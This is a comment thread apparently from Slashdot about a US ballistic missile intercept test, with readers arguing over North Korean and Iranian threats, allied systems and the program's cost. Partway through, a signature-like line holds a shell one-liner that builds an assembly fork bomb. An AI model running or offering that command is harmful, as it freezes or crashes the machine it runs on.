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US Tests New Missile Defense
pumpkinpuss writes "The US military yesterday shot down a missile in a test simulating a long-range ballistic missile attack by a potential adversary such as North Korea or Iran. The target missile was launched from Kodiak Island, Alaska, at 3:04 PM Eastern time, tracked simultaneously by several ground and ship-based radars, and intercepted by a 'kill vehicle' 3,000 kilometers away over the Pacific 25 minutes later, according to the Missile Defense Agency. Lt. Gen. Patrick O'Reilly said, 'The kill vehicle was sent to a very accurate spot in space giving us great confidence.'"
Reader gilgsn points out the testing of a different "multiple kill vehicle" by Lockheed Martin, which was able to hover over the ground and track a target. Video of the test (WMV) is also available.
Iran can't yet hit the USA, but can hit Israel and europe. Also they aren't called ICBM for nothing. They can travel around the globe.
i thought once I was found, but it was only a dream.
They spent $120US Million on this test. Would you want to be the one who has to say it was a failure?
Also, from TFA:
"The key to our protection . . . is to be able to have all of these different sensors simultaneously tracking" and recognizing the same object, which they did for the first time in yesterday's test, he said. "The kill vehicle was sent to a very accurate spot in space," he said, adding that the result "does give us great confidence."
To me, reading between the lines there, that sounds like they sent the kill vehicle to a pre-determined spot and managed to get the target to be there at the same time.
This whole program has been a HUGE boondoggle since its inception. I hope the new administration has the cojones to finally rein these guys in and tell them to spend the money on something more useful, such as fixing up the hopsitals we send our troops to.
Once North Korea has ICBMs they will sell them to Iran and the like.
http://www.armscontrol.org/act/2007_01-02/IranNK
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They tossed one over Japan a couple of years ago. That means they've solved a lot of the fundamental problems, and what they have left to do is mostly a question of scale and manufacturing ability.
The vast majority of people in North Korea may live like medieval peasants, but that's because their leadership keeps whatever material wealth the country can generate to themselves, or they sink it into arms production. They should not be underestimated.
Since the country is so opaque, I'd think that it's unsafe to assume that they don't have the ability to hit the West Coast already.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Israel has their own system, called the Arrow. Works excellently.
Sic gorgiamus allos subjectatos nunc
That is a knock off of our KV and is launched on our Sea Based AMB system off of one of their Kongo class destoyers - thier big innovation is reallt the nose cone that splits on half so that they don't have to change pitch during the intercept to jettison the nose cone.
However when they tested their system, they launched against a simulated missile not a real target, and the missile was launched off our ship (the Lake Erie). (I was at this test it was in '06 called Stellar Tsuru.)
So, basically everything you see of the Japanese missile defense effort is an add on to our existing Aegis/SM-3 based system. They innovated a nose cone, and are redoing the second statge of the rocket motor so they can get 50 or so extra miles of range with the system. The attitude control system you see was developed jointly by Raytheon and Lockheed, the Japanese modded it to add extra telemetry.
Note that this KV can egage one target. The KV shown in the video that you dissed can engage multiple targets.
I am very small, utmostly microscopic.
Umm...its a vehicle for use in space, not on in a theatre or tactical sense.
http://www.mda.mil/mdaLink/html/asptmkv.html
"The Multiple Kill Vehicle (MKV) system allows more than one kill vehicle to be launched from a single booster. The system consists of a carrier vehicle with on board sensors and a number of small, simple kill vehicles that can be independently targeted against objects in a threat cluster. The integrated payload is designed to fit on existing and planned interceptor boosters."
"The MKV system includes a carrier vehicle with on-board sensors and kill vehicles weighing approximately 10 pounds."
Wake up, mate. Even the US DoD had eventually confirmed that it was Georgia that launched the all-out attack on South Ossetia, not the other way around. And yes, they did attack the Russian peacekeepers (under UN mandate!) in the process - a notable part of all Russian casualties in that war were peacekeepers in buildings that were deliberately shelled without warning.
Blowing something up generally makes chunks, not vapor.
Also it's far less devastating for many reasons. First of all, it probably hits something low-value instead of the carefully selected target. Second of all, those ideas about plutonium (which probably isn't the material in use) getting equally distributed to every person's lungs are pure fantasy.
Troll my ass. The entire point with the missile shield is for rogue nations and terrorists attacks. Being nice and treating someone with respect isn't what these people are after. In other words, there are some places where there is no place for respect because the people listening don't fucking care. You people need to wake the hell up before you get someone killed.